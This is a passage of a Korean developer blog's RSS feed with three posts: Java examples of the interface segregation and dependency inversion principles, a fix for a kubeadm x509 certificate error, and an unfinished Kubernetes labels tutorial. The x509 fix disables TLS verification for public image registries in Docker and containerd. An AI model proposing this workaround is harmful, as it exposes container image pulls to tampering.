&lt;blockquote data-ke-style=&quot;style2&quot;&gt;각 기능을 별도의 인터페이스로 분리 하고, 필요한 인터페이스만 구현하도록 했다. 예를 들어,&amp;nbsp;&lt;span style=&quot;color: #ffffff; background-color: #c1bef9;&quot;&gt;&lt;b&gt; SimplePrinter&lt;/b&gt; &lt;/span&gt;는&amp;nbsp;&lt;span style=&quot;color: #ffffff; background-color: #c1bef9;&quot;&gt;&lt;b&gt; Printer&amp;nbsp;&lt;/b&gt;&lt;/span&gt; 인터페이스만 구현하고,&amp;nbsp;&lt;span style=&quot;color: #ffffff; background-color: #c1bef9;&quot;&gt;&lt;b&gt; MultiFunctionPrinter&lt;/b&gt; &lt;/span&gt;는&amp;nbsp;&lt;span style=&quot;color: #ffffff; background-color: #c1bef9;&quot;&gt;&lt;b&gt; Printer&lt;/b&gt; &lt;/span&gt;,&amp;nbsp; &lt;span style=&quot;color: #ffffff; background-color: #c1bef9;&quot;&gt;&lt;b&gt;Scanner&lt;/b&gt;&lt;/span&gt;,&amp;nbsp; &lt;span style=&quot;color: #ffffff; background-color: #c1bef9;&quot;&gt;&lt;b&gt;&amp;nbsp;Fax&amp;nbsp;&lt;/b&gt;&lt;/span&gt; 인터페이스를 모두 구현한다. 이로 인해 클라이언트가 &lt;span style=&quot;color: #ef5369;&quot;&gt;&lt;b&gt;필요하지 않은 메서드를 의존하지 않게 된다.&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;pre id=&quot;code_1740719757760&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// 잘게 분리된 인터페이스
interface Printer {
    void print();
}

interface Scanner {
    void scan();
}

interface Fax {
    void fax();
}

// 다기능 프린터 클래스
class MultiFunctionPrinter implements Printer, Scanner, Fax {
    @Override
    public void print() {
        System.out.println(&quot;Printing...&quot;);
    }
    
    @Override
    public void scan() {
        System.out.println(&quot;Scanning...&quot;);
    }

    @Override
    public void fax() {
        System.out.println(&quot;Faxing...&quot;);
    }
}

// 단일 기능 프린터 클래스
class SimplePrinter implements Printer {
    @Override
    public void print() {
        System.out.println(&quot;Printing...&quot;);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4-3) 비교 요약&lt;/h3&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 95px;&quot; border=&quot;1&quot; data-end=&quot;1990&quot; data-start=&quot;1448&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 19px;&quot;&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;항목&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;ISP 적용&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;ISP 미적용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot; data-end=&quot;1743&quot; data-start=&quot;1662&quot;&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;&lt;b&gt;인터페이스 크기&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;작은 단위(출력, 스캔, 팩스)로 나뉘어 있음&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;모든 기능(출력, 스캔, 팩스)이 하나의 인터페이스에 있음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot; data-end=&quot;1839&quot; data-start=&quot;1744&quot;&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;&lt;b&gt;필요 없는 의존성&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;SimplePrinter는 print()만 구현&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;SimplePrinter도 scan()과 fax()를 구현해야 함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot; data-end=&quot;1916&quot; data-start=&quot;1840&quot;&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;&lt;b&gt;유지보수성&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;기존 인터페이스 수정 없이 새로운 기능 추가 가능&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;새로운 기능 추가 시 기존 인터페이스 수정이 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 19px;&quot; data-end=&quot;1990&quot; data-start=&quot;1917&quot;&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;&lt;b&gt;확장성&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;기능이 추가되어도 기존 인터페이스 변경 없음&lt;/td&gt;
&lt;td style=&quot;height: 19px;&quot;&gt;기능이 많아질수록 인터페이스가 커지고 관리 어려움&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 의존 역전 원칙(DIP,&amp;nbsp; Dependency Inversion Principle)&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;상위 모듈이 하위 모듈(구현)에 의존하지 않고, &lt;span style=&quot;color: #c1bef9;&quot;&gt;&lt;b&gt;추상화(인터페이스)에 의존&lt;/b&gt;&lt;/span&gt;한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5-1) DIP 미적용&lt;/h3&gt;
&lt;pre id=&quot;code_1753323311967&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;class MySQLDatabase {
    public void save(String data) {
        System.out.println(&quot;MySQL에 저장: &quot; + data);
    }
}

class UserService {
    private MySQLDatabase db = new MySQLDatabase();  // 구체 클래스에 직접 의존

    public void register(String user) {
        db.save(user);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;613&quot; data-start=&quot;564&quot;&gt;DB를 MongoDB 등으로 바꾸려면 UserService를 직접 수정해야 함&lt;/li&gt;
&lt;li data-end=&quot;633&quot; data-start=&quot;616&quot;&gt;테스트용 DB 모킹도 어려움&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5-2) DIP 적용&amp;nbsp;&lt;/h3&gt;
&lt;pre id=&quot;code_1753323345073&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// 추상화
interface Database {
    void save(String data);
}

// 실제 구현체
class MySQLDatabase implements Database {
    public void save(String data) {
        System.out.println(&quot;MySQL에 저장: &quot; + data);
    }
}

// 상위 모듈
class UserService {
    private Database db;

    public UserService(Database db) {  // 생성자 주입
        this.db = db;
    }

    public void register(String user) {
        db.save(user);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1128&quot; data-start=&quot;1089&quot;&gt;MongoDBDatabase 같은 다른 구현체로 쉽게 교체 가능&lt;/li&gt;
&lt;li data-end=&quot;1163&quot; data-start=&quot;1131&quot;&gt;테스트용 가짜 DB 주입도 쉬움 (Mocking 가능)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5-3) 비교 요약&lt;/h3&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;1397&quot; data-start=&quot;1183&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;항목&lt;/td&gt;
&lt;td&gt;DIP 미적용&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;background-color: #9b9b9b; color: #ffffff; text-align: start;&quot;&gt;DIP 적용&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1284&quot; data-start=&quot;1242&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1250&quot; data-start=&quot;1242&quot;&gt;의존 대상&lt;/td&gt;
&lt;td data-end=&quot;1269&quot; data-start=&quot;1250&quot; data-col-size=&quot;sm&quot;&gt;구체 클래스 (MySQL 등)&lt;/td&gt;
&lt;td data-end=&quot;1284&quot; data-start=&quot;1269&quot; data-col-size=&quot;sm&quot;&gt;인터페이스 (추상화)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1330&quot; data-start=&quot;1285&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1294&quot; data-start=&quot;1285&quot;&gt;변경 유연성&lt;/td&gt;
&lt;td data-end=&quot;1311&quot; data-start=&quot;1294&quot; data-col-size=&quot;sm&quot;&gt;낮음 (클래스 수정 필요)&lt;/td&gt;
&lt;td data-end=&quot;1330&quot; data-start=&quot;1311&quot; data-col-size=&quot;sm&quot;&gt;높음 (객체만 교체하면 됨)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1369&quot; data-start=&quot;1331&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1341&quot; data-start=&quot;1331&quot;&gt;테스트 용이성&lt;/td&gt;
&lt;td data-end=&quot;1347&quot; data-start=&quot;1341&quot; data-col-size=&quot;sm&quot;&gt;어려움&lt;/td&gt;
&lt;td data-end=&quot;1369&quot; data-start=&quot;1347&quot; data-col-size=&quot;sm&quot;&gt;쉬움 (Mock 객체 주입 가능)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1397&quot; data-start=&quot;1370&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;1376&quot; data-start=&quot;1370&quot;&gt;결합도&lt;/td&gt;
&lt;td data-end=&quot;1381&quot; data-start=&quot;1376&quot; data-col-size=&quot;sm&quot;&gt;높음&lt;/td&gt;
&lt;td data-end=&quot;1397&quot; data-start=&quot;1381&quot; data-col-size=&quot;sm&quot;&gt;낮음 (유지보수 용이)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>CS</category>
      <category>java</category>
      <category>Solid</category>
      <category>객체지향 설계 원칙</category>
      <author>cob</author>
      <guid isPermaLink="true">https://cocococo.tistory.com/278</guid>
      <comments>https://cocococo.tistory.com/entry/%EA%B0%9D%EC%B2%B4%EC%A7%80%ED%96%A5-%EC%84%A4%EA%B3%84-%EC%9B%90%EC%B9%99SOLID-%EC%A0%81%EC%9A%A9-%EB%B0%A9%EB%B2%95#entry278comment</comments>
      <pubDate>Fri, 28 Feb 2025 14:33:54 +0900</pubDate>
    </item>
    <item>
      <title>[K8s / 오류] x509 certificate signed by unknown authority</title>
      <link>https://cocococo.tistory.com/entry/K8s-%EC%98%A4%EB%A5%98-x509-certificate-signed-by-unknown-authority</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #6164c6;&quot;&gt;&lt;b&gt;1. Issue&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;[ $ sudo kubeadm init ] 초기화 작업 중 인증서 오류 발생&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1261&quot; data-origin-height=&quot;404&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kRroI/btsLiCTxI2M/QzZoKqdzqjNkQvOdYEUGQk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kRroI/btsLiCTxI2M/QzZoKqdzqjNkQvOdYEUGQk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kRroI/btsLiCTxI2M/QzZoKqdzqjNkQvOdYEUGQk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkRroI%2FbtsLiCTxI2M%2FQzZoKqdzqjNkQvOdYEUGQk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1261&quot; height=&quot;404&quot; data-origin-width=&quot;1261&quot; data-origin-height=&quot;404&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #6164c6;&quot;&gt;&lt;b&gt;2. Problem&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;이미지 레지스트리에 접근하려고 할 때, 해당 레지스트리의 SSL 인증서가 시스템에서 신뢰할 수 없는 인증기관(CA)으로 서명되어 있으면 이 오류가 발생한다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #6164c6;&quot;&gt;&lt;b&gt;3. Solution&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;인증서 무시 설정을 통해서 Docker, Containerd가 인증서를 무시하고 접근하게 한다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3-1. Docker에서 인증서 무시 설정&lt;/b&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;insecure-registries 항목에 내가 접근하는 레지스트리 URL를 등록한다.&lt;/blockquote&gt;
&lt;pre id=&quot;code_1734073828860&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 도커는 해당 설정 파일을
vi /etc/docker/daemon.json

# daemon.json 수정
{
 &quot;insecure-registries&quot;: [&quot;10.254.241.158:8181&quot;,&quot;registry.k8s.io&quot;,&quot;quay.io&quot;],
 &quot;exec-opts&quot;: [&quot;native.cgroupdriver=systemd&quot;],
 &quot;log-driver&quot;: &quot;json-file&quot;,
 &quot;log-opts&quot;: {
   &quot;max-size&quot;: &quot;100m&quot;
 },
 &quot;storage-driver&quot;: &quot;overlay2&quot;
}

# 도커 재시작
sudo systemctl restart docker&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3-2. &lt;span style=&quot;background-color: #fcfcfc; color: #666666; text-align: left;&quot;&gt;Containerd&lt;/span&gt;에서 인증서 무시 설정&lt;/b&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;endpoint와&amp;nbsp; insecure_skip_verify를 설정해준다.&lt;/blockquote&gt;
&lt;pre id=&quot;code_1734074100469&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# Containerd 설정
vi /etc/containerd/config.toml


#### config.toml ####
...
[plugins]
	...
    [plugins.&quot;io.containerd.grpc.v1.cri&quot;.registry]
      [plugins.&quot;io.containerd.grpc.v1.cri&quot;.registry.mirrors]
        [plugins.&quot;io.containerd.grpc.v1.cri&quot;.registry.mirrors.&quot;registry.k8s.io&quot;]
          endpoint = [&quot;https://registry.k8s.io&quot;]
        [plugins.&quot;io.containerd.grpc.v1.cri&quot;.registry.configs.&quot;registry.k8s.io&quot;.tls]
          insecure_skip_verify = true
        [plugins.&quot;io.containerd.grpc.v1.cri&quot;.registry.mirrors.&quot;10.254.241.158:8181&quot;]
          endpoint = [&quot;http://10.254.241.158:8181&quot;]
        [plugins.&quot;io.containerd.grpc.v1.cri&quot;.registry.configs.&quot;10.254.241.158:8181&quot;.tls]
          insecure_skip_verify = true
        [plugins.&quot;io.containerd.grpc.v1.cri&quot;.registry.mirrors.&quot;quay.io&quot;]
          endpoint = [&quot;quay.io&quot;]
        [plugins.&quot;io.containerd.grpc.v1.cri&quot;.registry.configs.&quot;quay.io&quot;.tls]
          insecure_skip_verify = true
        [plugins.&quot;io.containerd.grpc.v1.cri&quot;.registry.mirrors.&quot;registry-1.docker.io&quot;]
          endpoint = [&quot;registry-1.docker.io&quot;]
        [plugins.&quot;io.containerd.grpc.v1.cri&quot;.registry.configs.&quot;registry-1.docker.io&quot;.tls]
          insecure_skip_verify = true
      ...&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>이슈 해결</category>
      <category>k8s</category>
      <category>x509</category>
      <category>오류</category>
      <category>인증서 무시</category>
      <author>cob</author>
      <guid isPermaLink="true">https://cocococo.tistory.com/277</guid>
      <comments>https://cocococo.tistory.com/entry/K8s-%EC%98%A4%EB%A5%98-x509-certificate-signed-by-unknown-authority#entry277comment</comments>
      <pubDate>Fri, 13 Dec 2024 16:18:18 +0900</pubDate>
    </item>
    <item>
      <title>[k8s] 쿠버네티스 레이블(Label) 설정 및 셀렉터(Selector) 방법</title>
      <link>https://cocococo.tistory.com/entry/k8s-%EC%BF%A0%EB%B2%84%EB%84%A4%ED%8B%B0%EC%8A%A4-%EB%A0%88%EC%9D%B4%EB%B8%94Label-%EC%84%A4%EC%A0%95-%EB%B0%8F-%EC%85%80%EB%A0%89%ED%84%B0Selector-%EB%B0%A9%EB%B2%95</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://kubernetes.io/ko/docs/concepts/overview/working-with-objects/labels/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://kubernetes.io/ko/docs/concepts/overview/working-with-objects/labels/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1733145223538&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;레이블과 셀렉터&quot; data-og-description=&quot;레이블 은 파드와 같은 오브젝트에 첨부된 키와 값의 쌍이다. 레이블은 오브젝트의 특성을 식별하는 데 사용되어 사용자에게 중요하지만, 코어 시스템에 직접적인 의미는 없다. 레이블로 오브&quot; data-og-host=&quot;kubernetes.io&quot; data-og-source-url=&quot;https://kubernetes.io/ko/docs/concepts/overview/working-with-objects/labels/&quot; data-og-url=&quot;https://kubernetes.io/ko/docs/concepts/overview/working-with-objects/labels/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bI4LrV/hyXGCtdAeR/qQykXlhTjR5C89Kio7kB5K/img.png?width=1727&amp;amp;height=373&amp;amp;face=0_0_1727_373&quot;&gt;&lt;a href=&quot;https://kubernetes.io/ko/docs/concepts/overview/working-with-objects/labels/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://kubernetes.io/ko/docs/concepts/overview/working-with-objects/labels/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bI4LrV/hyXGCtdAeR/qQykXlhTjR5C89Kio7kB5K/img.png?width=1727&amp;amp;height=373&amp;amp;face=0_0_1727_373');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;레이블과 셀렉터&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;레이블 은 파드와 같은 오브젝트에 첨부된 키와 값의 쌍이다. 레이블은 오브젝트의 특성을 식별하는 데 사용되어 사용자에게 중요하지만, 코어 시스템에 직접적인 의미는 없다. 레이블로 오브&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;kubernetes.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #6164c6;&quot;&gt;1. 레이블(Label)&lt;/span&gt;&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;모든 리소스를 구성하는 강력한 쿠버네티스의 기능이다. 레이블이란 서비스에 붙어놓은 바코드라고 생각하면 된다.(일종의 검색 기능)&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1-1) 특징&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;키/값 쌍&lt;/li&gt;
&lt;li&gt;레이블 셀렉터를 사용하면 각종 리소스를 필터링하여 선택할 수 있음&lt;/li&gt;
&lt;li&gt;리소스는 한개 이상의 레이블을 가질 수 있다.&lt;/li&gt;
&lt;li&gt;리소스를 만드는 시점에 레이블을 첨부할 수 있고, 수정 및 추가도 가능 하지만, 안정적인 실행을 위해 미리 첨부하는 게 좋다&lt;/li&gt;
&lt;li&gt;모든 사람들이 쉽게 이해할 수 있는 체계적인 시스템 구축 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1-2) Pod 생서 시 레이블(Label) 지정 방법&lt;/h3&gt;
&lt;pre id=&quot;code_1733053901065&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;apiVersion: v1
kind: Pod
metadata:
  labels:
    create_method: manual
    env: prod
  name: nodejs-manual-v2
spec:
  containers:
  - name: nodejs
    image: gasbugs/nodejs
    ports:
    - containerPort: 8080
      protocal: TCP&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1-3) 기존 Pod에 레이블(Label) 추가&lt;/h3&gt;
&lt;pre id=&quot;code_1733054109808&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 기존 Pod에 추가
kubectl label pod http-go-v2 test=foo

# 기존 Pod의 레이블 수정
kubectl label pod http-go-v2 rel=beta --overwrite

# 기존 Pod 레이블 삭제 (레이블 이름 뒤에 '-' 입력)
kubectl label pod http-go-v2 rel-&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1-4) 레이블(Label) 조회&lt;/h3&gt;
&lt;pre id=&quot;code_1733054263076&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 전체 Pod label 조회
kubectl get pod --show-labels

# 특정 label 컬럼으로 조회
# kubectl get pod -L {조회할 key 값}
kubectl get pod -L app,rel



### 레이블 필터링 검색 ###
# app이 있는 Pod 검색
kubectl get pod --show-labels -l 'app'

# app이 없는 Pod 검색
kubectl get pod --show-labels -l '!app'

# app이 test가 아닌 Pod 검색
kubectl get pod --show-labels -l 'app!=test'

# app이 test값이 아니고, rel 값이 beta인 Pod 검색
kubectl get pod --show-labels -l 'app!=test, rel=beta'&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;레이블을 필터링할 때 리눅스 쉘에서는 !, =와 같은 특수문자가 쉘 자체에서 해석될 수 있기 때문에, 이를 올바르게 전달하려면 따옴표로 묶어줘야 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #6164c6;&quot;&gt;2. 레이블링 전략&lt;/span&gt;&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2-1) 계층적(Hierarchical) 레이블링&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;리소스를 계층 구조로 분류하여 관리하는 방법&lt;/blockquote&gt;
&lt;pre id=&quot;code_1733145500373&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;env=production (환경)
team=frontend (팀)
app=webserver (애플리케이션)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;리소스를 환경별, 팀별로 쉽게 그룹화 및 필터링 가능&lt;/li&gt;
&lt;li&gt;여러 사용자 및 팀 간 협업에 적합&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2-2) 역할 기반(Role-Based) 레이블링&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;리소스의 역할에 따라 레이블을 지정&lt;/blockquote&gt;
&lt;pre id=&quot;code_1733145613797&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;tier=backend (애플리케이션 계층)
tier=frontend
role=database&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;애플리케이션 아키텍처에 따라 리소스를 정리&lt;/li&gt;
&lt;li&gt;특정 역할에 맞는 파드나 노드만 선택적 관리 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2-3) 배포 및 릴리즈 관리 레이블링&lt;/h3&gt;
